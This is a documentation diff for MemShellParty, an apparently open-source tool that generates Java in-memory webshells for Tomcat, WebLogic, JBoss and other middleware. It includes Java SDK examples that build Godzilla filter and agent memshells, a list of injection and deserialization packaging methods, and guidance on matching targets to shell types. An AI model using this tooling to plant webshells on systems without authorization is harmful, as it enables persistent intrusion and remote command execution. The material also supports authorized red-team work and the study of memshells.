| Listener | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| | ContextValve - Agent |
|
||||||
|
|
||||||
|
### 内存马功能
|
||||||
|
|
||||||
|
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
|
||||||
|
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
|
||||||
|
- [x] 命令执行
|
||||||
|
- [x] [Suo5](https://github.com/zema1/suo5)
|
||||||
|
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
|
||||||
|
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
||||||
|
- [x] Custom
|
||||||
|
|
||||||
|
### 封装方式
|
||||||
|
|
||||||
|
- [x] BASE64
|
||||||
|
- [x] GZIP BASE64
|
||||||
|
- [x] JSP
|
||||||
|
- [x] JSPX
|
||||||
|
- [x] JAR
|
||||||
|
- [x] BCEL
|
||||||
|
- [x] 内置脚本引擎、Rhino 脚本引擎
|
||||||
|
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||||
|
- [x] Velocity、Freemarker、JinJava
|
||||||
|
- [x] 原生反序列化(CB 和 CC 链)
|
||||||
|
- [x] Agent
|
||||||
|
- [x] XXL-JOB Executor
|
||||||
|
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
||||||
|
- [ ] JNDI
|
||||||
|
- [ ] JDBC 连接
|
||||||
|
- [ ] 其他常见反序列化
|
||||||
@@ -1,6 +1,11 @@
|
|||||||
<h1 align="center">MemShellParty</h1>
|
<h1 align="center">MemShellParty</h1>
|
||||||
|
|
||||||
<p align="center"><a href="../README.md">中文</a> | English<br></p>
|
<p align="center">English | <a href="../README.md">中文</a><br></p>
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
<div align="center">
|
<div align="center">
|
||||||
@@ -12,54 +17,49 @@
|
|||||||
<div align="center">
|
<div align="center">
|
||||||
|
|
||||||
[](https://t.me/memshell)
|
[](https://t.me/memshell)
|
||||||
[](https://party.mem.mk)
|
[](https://party.memshell.news)
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing. Using this tool for any unauthorized network attack or penetration test is illegal, and users must bear the corresponding legal responsibility.
|
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing purposes. Using this tool for any unauthorized network attacks or penetration testing activities is illegal, and users are solely responsible for any resulting legal consequences.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Since I mainly work on security product development and do not have practical offensive experience, please feel free to open an issue or join the Telegram group if you have questions about usage, implementation, or adaptation requests. You are welcome to learn and exchange ideas together.
|
> As I primarily focus on security product development and lack extensive real-world combat experience, please feel free to raise an issue or join the [Telegram group](https://t.me/memshell) if you have questions about usage, implementation, or adaptation requests. Let's learn and exchange ideas together!
|
||||||
|
|
||||||
MemShellParty is a fast memshell generation tool focused on mainstream web middleware. It is designed to simplify the workflow of security researchers and red team members, improving offensive and defensive efficiency.
|
MemShellParty is a self-hosted, visual platform for one-click generation of java memshell for common middleware and frameworks. It also aims to be a comprehensive learning platform for java memshell. In an era full of wheels, it's time to build the car and accelerate together!
|
||||||
|
|
||||||
<p align="center">
|
What you can learn or try from this project:
|
||||||
<img src="../assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
|
||||||
<img src="../assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
1. Learn to write java memshell for common middleware and frameworks.
|
||||||
<img src="../assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
2. Learn to use [Testcontainers](https://testcontainers.com/) for Java application integration testing.
|
||||||
<img src="../assets/about_page.png" alt="about_page" width="24%">
|
3. Learn to use GitHub Actions for CI/CD, write CHANGELOG, and automate Release publications via CI.
|
||||||
</p>
|
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
||||||
|
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
## Key Features
|
## Key Features
|
||||||
|
|
||||||
- **Non-intrusive**: Generated memshells do not affect normal target middleware traffic, even when more than a dozen different memshells are injected at the same time.
|
- Non-Intrusive: Generated memshell do not interfere with the normal traffic of the target middleware, even when multiple different shells are injected simultaneously.
|
||||||
- **Strong compatibility**: Covers common middleware and frameworks in offensive and defensive scenarios, and supports JDK6 through JDK21.
|
- High Availability: Comes with comprehensive [CI integration tests](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
- **High availability**: A comprehensive automated test matrix has been built for all supported middleware and frameworks, ensuring each generated payload has high usability and stability while reducing uncertainty in real-world use.
|
- Minimal Size: Strives to minimize memshell size for efficient transfer.
|
||||||
- **Extremely lightweight**: Through deeply optimized bytecode generation strategies, MemShellParty greatly reduces memshell size compared with traditional tools such as JMG. Regular memshells are reduced by **30%**, and Agent memshells are reduced by **80%** using ASM.
|
- Strong Compatibility: Covers common middleware and frameworks encountered in offensive and defensive scenarios.
|
||||||
- **One-click simplicity**: Built-in payload generation is provided for common vulnerabilities such as expression injection, deserialization, and SSTI. The system automatically configures Java module restriction bypasses and dynamically generates the optimal attack payload, enabling one-click generation for common vulnerability payloads.
|
|
||||||
- **High flexibility**: Natively supports common memshell capabilities such as Godzilla, Behinder, AntSword, Suo5, and NeoreGeorg. With the highly flexible custom memshell upload feature, any customized payload can be integrated into the MemShellParty generation system to build an attack platform that best fits your tactical needs.
|
|
||||||
|
|
||||||
## Quick Start
|
## Quick Start
|
||||||
|
|
||||||
### Read Before Use
|
### Online Preview
|
||||||
|
|
||||||
[Compatibility](https://party.mem.mk/ui/docs/compatibility) helps you understand MemShellParty's adaptation status for each service, so you can choose the right service type for different applications.
|
> Suitable for users who just want to try it out. Please use with caution on public services, as generated memshell might potentially contain backdoors if the service is compromised.
|
||||||
|
|
||||||
The probe memshell maps detected service types one by one. The detected service type is the service type that can be used to generate memshells. This is not necessarily the middleware type. For example, Apusic10 is detected as GlassFish because it is developed based on GlassFish.
|
Access directly at [https://party.memshell.news](https://party.memshell.news). The latest image is automatically deployed with each release.
|
||||||
|
|
||||||
### Online Site
|
|
||||||
|
|
||||||
> Only for users who want to try it out. Please use caution with other publicly exposed services, as generated memshells may contain backdoors.
|
|
||||||
|
|
||||||
You can access the master branch at [https://party.mem.mk](https://party.mem.mk). The latest image is automatically deployed for each release.
|
|
||||||
|
|
||||||
For features under development, you can try the dev branch early at [https://dev-party.mem.mk](https://dev-party.mem.mk).
|
|
||||||
|
|
||||||
### Local Deployment (Recommended)
|
### Local Deployment (Recommended)
|
||||||
|
|
||||||
> Suitable for quick internal network or local deployment. Starting the service directly with Docker is fast and convenient.
|
> Ideal for quick deployment on internal networks or local machines. Using Docker is fast and convenient.
|
||||||
|
|
||||||
After deploying with Docker, access http://127.0.0.1:8080
|
After deploying with Docker, access the service at http://127.0.0.1:8080
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Pull the latest image from Docker Hub
|
# Pull the latest image from Docker Hub
|
||||||
@@ -68,14 +68,312 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
|
|||||||
# Pull the latest image from Github Container Registry
|
# Pull the latest image from Github Container Registry
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
# Poor network quality? Use the Nanjing University Github Container Registry mirror
|
# If network quality is poor, use the Nanjing University Github Container Registry mirror
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
## Special Thanks
|
The image is stateless. To update to the latest version, simply remove the old container and create a new one:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Remove the previously deployed container
|
||||||
|
docker rm -f memshell-party
|
||||||
|
|
||||||
|
# Use the previous deployment command to redeploy (it will automatically pull the latest image)
|
||||||
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
### SDK Integration into Existing Tools
|
||||||
|
|
||||||
|
> Suitable for integrating memshell payload generation into your existing tools. Supports JDK 8 and above (since v1.7.0).
|
||||||
|
|
||||||
|
1. Add the dependency using Maven or Gradle:
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<!-- Maven Repo-->
|
||||||
|
<dependency>
|
||||||
|
<groupId>io.github.reajason</groupId>
|
||||||
|
<artifactId>generator</artifactId>
|
||||||
|
<version>1.7.0</version>
|
||||||
|
</dependency>
|
||||||
|
```
|
||||||
|
|
||||||
|
```groovy
|
||||||
|
// Gradle Repo
|
||||||
|
implementation 'io.github.reajason:generator:1.7.0'
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Example1: Generate a Tomcat Godzilla Filter memory shell:
|
||||||
|
|
||||||
|
```java
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.FILTER)
|
||||||
|
.shrink(true) // Shrink bytecode size
|
||||||
|
.debug(false) // Disable debug mode
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // Custom urlPattern, defaults to /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("Injector Class Name: "+result.getInjectorClassName());
|
||||||
|
System.out.println("MemShell Class Name: "+result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
|
System.out.println("Base64 Packed: "+Packers.Base64.getInstance().pack(result));
|
||||||
|
System.out.println("ScriptEngine Packed: "+Packers.ScriptEngine.getInstance().pack(result));
|
||||||
|
```
|
||||||
|
3. Example2: Generate a Tomcat Godzilla AgentFilterChain memory shell (Agent type):
|
||||||
|
```java
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||||
|
.shrink(true) // Shrink bytecode size
|
||||||
|
.debug(false) // Disable debug mode
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // Custom urlPattern, defaults to /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("Injector Class Name: " + result.getInjectorClassName());
|
||||||
|
System.out.println("MemShell Class Name: " + result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
|
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
||||||
|
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
||||||
|
```
|
||||||
|
4. For a unified generation interface example, refer to [GeneratorController.java](../boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
|
||||||
|
|
||||||
|
## Compatibility
|
||||||
|
|
||||||
|
Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
||||||
|
|
||||||
|
### Middleware and Frameworks
|
||||||
|
|
||||||
|
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||||
|
|----------------------|------------------------|----------------------|----------------------|
|
||||||
|
| Servlet | Servlet | Filter | Filter |
|
||||||
|
| Filter | Filter | Listener | Listener |
|
||||||
|
| Listener | Listener | Valve | Valve |
|
||||||
|
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| ProxyValve | | | |
|
||||||
|
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
| ContextValve - Agent | | | |
|
||||||
|
|
||||||
|
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||||
|
|---------------------|--------------------------|-----------------|--------------|
|
||||||
|
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||||
|
| Filter | ControllerHandler | HandlerMethod | |
|
||||||
|
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||||
|
| FilterChain - Agent | | NettyHandler | |
|
||||||
|
|
||||||
|
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||||
|
|----------------------|----------------------------|------------------------|------------------------|
|
||||||
|
| Filter | Filter | Servlet | Servlet |
|
||||||
|
| Listener | Listener | Filter | Filter |
|
||||||
|
| Valve | Valve(6) | Listener | Listener |
|
||||||
|
| ProxyValve | | | |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||||
|
| | ServletHandler - Agent (7) | | |
|
||||||
|
|
||||||
|
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||||
|
|-----------------------|-------------------------|
|
||||||
|
| Servlet | Servlet |
|
||||||
|
| Filter | Filter |
|
||||||
|
| Listener | Listener |
|
||||||
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
|
| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) |
|
||||||
|
|----------------------|----------------------|------------------------|
|
||||||
|
| Filter | Filter | Filter |
|
||||||
|
| Listener | Listener | Listener |
|
||||||
|
| Valve | Valve | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
|
||||||
|
| Apusic AS (9 ~ 10) | Primeton(6.5) |
|
||||||
|
|---------------------|----------------------|
|
||||||
|
| Servlet | Filter |
|
||||||
|
| Filter | Listener |
|
||||||
|
| Listener | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| | ContextValve - Agent |
|
||||||
|
|
||||||
|
### MemShell Functionality
|
||||||
|
|
||||||
|
- [x] [Godzilla](https://github.com/BeichenDream/Godzilla)
|
||||||
|
- [x] [Behinder](https://github.com/rebeyond/Behinder)
|
||||||
|
- [x] Command Execution
|
||||||
|
- [x] [Suo5](https://github.com/zema1/suo5)
|
||||||
|
- [x] [AntSword](https://github.com/AntSwordProject/antSword)
|
||||||
|
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
||||||
|
- [x] Custom
|
||||||
|
|
||||||
|
### Packaging Methods
|
||||||
|
|
||||||
|
- [x] BASE64
|
||||||
|
- [x] GZIP BASE64
|
||||||
|
- [x] JSP
|
||||||
|
- [x] JSPX
|
||||||
|
- [x] JAR
|
||||||
|
- [x] BCEL
|
||||||
|
- [x] Built-in ScriptEngine, Rhino ScriptEngine
|
||||||
|
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||||
|
- [x] Velocity、Freemarker、JinJava
|
||||||
|
- [x] Native Deserialization(CB and CC)
|
||||||
|
- [x] Agent
|
||||||
|
- [x] XXL-JOB Executor
|
||||||
|
- [x] Hessian, Hessian2 Deserialization (XSLT gadget chain)
|
||||||
|
- [ ] JNDI
|
||||||
|
- [ ] JDBC Connection
|
||||||
|
- [ ] Other common deserialization
|
||||||
|
|
||||||
|
## Local Build
|
||||||
|
|
||||||
|
### Building from Source Code
|
||||||
|
|
||||||
|
> Suitable for developers who want to modify the code. Clone the repository locally and build the frontend and backend projects.
|
||||||
|
|
||||||
|
First, you need to download and install [bun](https://bun.sh/), a tool for building the frontend service.
|
||||||
|
|
||||||
|
1. Clone the project using Git:
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/ReaJason/MemShellParty.git
|
||||||
|
```
|
||||||
|
2. Build the frontend project. After the build finishes, static resources will be automatically moved to the Spring Boot module.
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/web
|
||||||
|
|
||||||
|
bun install
|
||||||
|
|
||||||
|
bun run build
|
||||||
|
```
|
||||||
|
3. Build the backend project. Ensure you are using a JDK 17 environment.
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
./gradlew :boot:bootjar -x test
|
||||||
|
```
|
||||||
|
|
||||||
|
After building, you can directly run the JAR file located at `MemShellParty/boot/build/libs/boot-*.jar` (the exact version might vary).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
java -jar \
|
||||||
|
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||||
|
build/libs/boot-1.0.0.jar
|
||||||
|
```
|
||||||
|
|
||||||
|
Alternatively, you can build a Docker container from the built artifacts:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
docker buildx build -t memshell-party:latest . --load
|
||||||
|
|
||||||
|
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
### Building with Dockerfile Directly
|
||||||
|
|
||||||
|
> Suitable for users who want to build with custom access paths, for example, when using NGINX as a reverse proxy ([#44](https://github.com/ReaJason/MemShellParty/issues/44)).
|
||||||
|
|
||||||
|
Download the [Dockerfile](../Dockerfile) from the project root.
|
||||||
|
|
||||||
|
- VERSION: Version information (arbitrary, suggest using the latest tag; used for frontend display).
|
||||||
|
- ROUTE_ROOT_PATH: Frontend root route configuration (e.g., /memshell-party).
|
||||||
|
- CONTEXT_PATH: Backend access prefix (e.g., /memshell-party).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Basic build (defaults to root path "/")
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.7.0 \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# Run the basic image, access at http://127.0.0.1:8080
|
||||||
|
docker run -it -d -p 8080:8080 memshell-party:latest
|
||||||
|
|
||||||
|
# Build with custom access path (e.g., /memshell-party)
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.7.0 \
|
||||||
|
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
||||||
|
--build-arg CONTEXT_PATH=/memshell-party \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# Run the custom path image, access at http://127.0.0.1:8080/memshell-party
|
||||||
|
docker run -it -p 8080:8080 \
|
||||||
|
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
||||||
|
memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
If you need to use NGINX as a reverse proxy, first build the container with a custom access path. Then configure NGINX similar to the following:
|
||||||
|
|
||||||
|
Ensure that the `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` and
|
||||||
|
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` all use the same path.
|
||||||
|
|
||||||
|
```text
|
||||||
|
location /memshell-party {
|
||||||
|
proxy_pass http://127.0.0.1:8080;
|
||||||
|
proxy_set_header Host $http_host;
|
||||||
|
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
||||||
|
proxy_set_header X-Forwarded-For $remote_addr;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_connect_timeout 3s;
|
||||||
|
proxy_read_timeout 300s;
|
||||||
|
proxy_send_timeout 300s;
|
||||||
|
proxy_buffer_size 16k;
|
||||||
|
proxy_buffers 8 64k;
|
||||||
|
proxy_busy_buffers_size 128k;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Contribute
|
||||||
|
|
||||||
|
> Any feedback or issue discussion you provide is a contribution to this project.
|
||||||
|
|
||||||
|
> It will be so nice if you want to contribute. 🎉
|
||||||
|
|
||||||
|
1. If you have strong Docker environment building skills, consider adding integration test cases related to specific CVEs.
|
||||||
|
2. If you are skilled in writing memory shells, try adding support for a new type or target.
|
||||||
|
3. If you have extensive practical experience, feel free to open issues with suggestions or improvements.
|
||||||
|
|
||||||
|
For project structure, build processes, and compilation details, please refer to [CONTRIBUTING.md](../CONTRIBUTING.md)。
|
||||||
|
|
||||||
|
## Thanks
|
||||||
|
|
||||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
|
||||||
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||||
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
|
|
||||||
|
|
||||||
### Let's start the party 🎉
|
### Let's start the party 🎉
|
||||||
|
|||||||
@@ -1,15 +1,13 @@
|
|||||||
---
|
# 学习 Java 内存马推荐工具
|
||||||
title: 工具推荐
|
|
||||||
description: 工欲善其事必先利其器
|
> 工欲善其事必先利其器
|
||||||
---
|
|
||||||
|
|
||||||
## Arthas
|
## Arthas
|
||||||
|
|
||||||
Arthas 是阿里云开源的 Java 诊断工具,其本质是一个 Java Agent,它提供了各种各样的命令,能让我们洞察 JVM 各种细节信息。所有的使用姿势 [官方文档](https://arthas.aliyun.com/) 都有,以下会列举一些常见的场景和问题
|
Arthas 是阿里云开源的 Java 诊断工具,其本质是一个 Java Agent,它提供了各种各样的命令,能让我们洞察 JVM 各种细节信息。所有的使用姿势 [官方文档](https://arthas.aliyun.com/) 都有,以下会列举一些常见的场景和问题
|
||||||
|
|
||||||
JDK8 以上的下载链接:https://arthas.aliyun.com/doc/download.html
|
JDK8 以上的下载链接,https://arthas.aliyun.com/doc/download.html
|
||||||
|
JDK6/7 下载链接,https://arthas.aliyun.com/3.x/doc/download.html
|
||||||
JDK6/7 下载链接:https://arthas.aliyun.com/3.x/doc/download.html
|
|
||||||
|
|
||||||
### 启动 Arthas
|
### 启动 Arthas
|
||||||
|
|
||||||
@@ -0,0 +1,130 @@
|
|||||||
|
# Java 服务简介
|
||||||
|
|
||||||
|
以下服务仅我个人遇到的一些场景,与实际攻防场景可能仍有差距,但是在 MemShellParty
|
||||||
|
中可用于参考进行内存马生成。个别其他服务还请自行辨别其服务类型。如果有其他环境补充,欢迎 PR 交流学习~
|
||||||
|
|
||||||
|
## Tomcat
|
||||||
|
|
||||||
|
> https://tomcat.apache.org/
|
||||||
|
|
||||||
|
Tomcat 使用的是自己 Catalina 模块提供的 Servlets 实现,限制较少,在 MemShellParty 中,服务类型选 Tomcat 即可生成 Tomcat
|
||||||
|
内存马。
|
||||||
|
|
||||||
|
一般而言,SpringWebMVC 项目大多使用 Tomcat 提供 Servlets 容器功能,比如 Nacos,这种情况下可以选择 Tomcat 内存马注入。
|
||||||
|
|
||||||
|
其他服务中,致远 OA、Confluence、帆软使用的是 Tomcat。
|
||||||
|
|
||||||
|
## Jetty
|
||||||
|
|
||||||
|
> https://jetty.org/
|
||||||
|
|
||||||
|
Jetty6 版本使用的包名为 `org.mortbay.jetty`,而 7 以上使用的是 `org.eclipse.jetty`,在测试最新的 Jenkins 时,发现 Jetty11+
|
||||||
|
版本支持 ee8 ~ ee10 的环境,包名对应的是 `org.eclipse.jetty.ee8`,这些在 MemShellParty 中均已支持,因此服务类型选 Jetty
|
||||||
|
即可生成 Jetty 内存马。
|
||||||
|
|
||||||
|
在 SpringWebMVC 项目中也是有可能使用的。
|
||||||
|
|
||||||
|
## JBoss
|
||||||
|
|
||||||
|
> JBossAS: https://jbossas.jboss.org/downloads
|
||||||
|
|
||||||
|
> JBossEAP: https://developers.redhat.com/products/eap/download
|
||||||
|
|
||||||
|
JBoss 分为 JBossAS 和 JBossEAP,JBossAS 全版本和 JBossEAP6 使用的 Catalina 模块提供的 Servlets 实现,JBossEAP7 及其以上使用的
|
||||||
|
[Undertow](https://undertow.io/) 提供的 Servlets 实现。
|
||||||
|
|
||||||
|
因此 JBossAS 4~7 以及 JBossEAP6 服务类型选择 JBoss 进行内存马的生成,而 JBossEAP7 服务类型需要选择
|
||||||
|
Undertow 进行内存马的生成。
|
||||||
|
|
||||||
|
## Wildfly
|
||||||
|
|
||||||
|
> https://www.wildfly.org/
|
||||||
|
|
||||||
|
Wildfly 使用的 [Undertow](https://undertow.io/) 提供的 Servlets 实现,因此服务类型选择 Undertow 生成内存马
|
||||||
|
|
||||||
|
## GlassFish
|
||||||
|
|
||||||
|
> https://glassfish.org/
|
||||||
|
|
||||||
|
GlassFish 使用的是 Catalina 提供的 Servlets 实现,但是使用了 OSGI 类加载模式,因此类限制较为严重,在 MemShellParty 中,服务类型选择
|
||||||
|
GlassFish 进行内存马的生成。
|
||||||
|
|
||||||
|
## Payara
|
||||||
|
|
||||||
|
> https://www.payara.fish/downloads/
|
||||||
|
|
||||||
|
基于 GlassFish 开发,服务类型选择 GlassFish 进行内存马的生成。
|
||||||
|
|
||||||
|
## Resin
|
||||||
|
|
||||||
|
> https://caucho.com/products/resin/download
|
||||||
|
|
||||||
|
Resin 使用的包名为 `com.caucho.`,服务类型选择 Resin 进行内存马的生成。
|
||||||
|
|
||||||
|
泛微 OA 使用的就是 Resin 提供的服务。
|
||||||
|
|
||||||
|
## WebLogic
|
||||||
|
|
||||||
|
> https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
|
||||||
|
|
||||||
|
WebLogic 使用的包名为 `weblogic.`,服务类型选择 WebLogic 进行内存马的生成。
|
||||||
|
|
||||||
|
## WebSphere
|
||||||
|
|
||||||
|
> https://www.ibm.com/products/websphere-application-server
|
||||||
|
|
||||||
|
WebSphere 是 IBM 研发的商用 Servlets 容器,开源版本为 Websphere liberty,
|
||||||
|
包名为 `com.ibm.`,服务类型选择 WebSphere 进行内存马的生成。
|
||||||
|
|
||||||
|
## BES
|
||||||
|
|
||||||
|
> https://www.bessystem.com/
|
||||||
|
|
||||||
|
BES 宝兰德,其基于 Tomcat 进行二开,在 BES 9.5.1 版本中没有进行包名修改,而在 BES 9.5.2
|
||||||
|
版本之后包名修改为了 `com.bes.enterprise.`。因此 BES 9.5.1 版本,服务类型选择 Tomcat 进行内存马的生成,BES 9.5.2+ 服务类型选择
|
||||||
|
BES 进行内存马的生成。
|
||||||
|
|
||||||
|
## TongWeb
|
||||||
|
|
||||||
|
> https://www.tongtech.com/sy.html
|
||||||
|
|
||||||
|
TongWeb 东方通,其基于 Tomcat 进行二开,并且在最初的 6 版本就进行了包名修改,每个版本都进行了修改。
|
||||||
|
|
||||||
|
- TongWeb6: `com.tongweb.web.thor.`
|
||||||
|
- TongWeb7: `com.tongweb.catalina.`
|
||||||
|
- TongWeb8: `com.tongweb.server.`
|
||||||
|
|
||||||
|
这三个版本在 MemShellParty 中均有适配,服务类型选择 TongWeb 进行内存马的生成。
|
||||||
|
|
||||||
|
## Apusic
|
||||||
|
|
||||||
|
> https://www.apusic.com/
|
||||||
|
|
||||||
|
金蝶中间件,Apusic9 疑似魔改自 GlassFish,不过改得面目全非了,自 Apusic10 开始使用原版 GlassFish 进行二开。因此 Apusic9
|
||||||
|
版本服务类型选择
|
||||||
|
Apusic 进行内存马生成,Apusic10 版本选择 GlassFish 进行内存马生成。
|
||||||
|
|
||||||
|
## Primeton
|
||||||
|
|
||||||
|
> https://www.primeton.com/products/pas/
|
||||||
|
|
||||||
|
普元中间件,Primeton6.5 版本基于 GlassFish
|
||||||
|
二开,高版本疑似做了包名修改,但没有环境,因此暂未适配([#60](https://github.com/ReaJason/MemShellParty/issues/60))因此当前仅支持
|
||||||
|
Primeton6.5 版本,服务类型选择 GlassFish 进行内存马生成。
|
||||||
|
|
||||||
|
## InforSuite
|
||||||
|
|
||||||
|
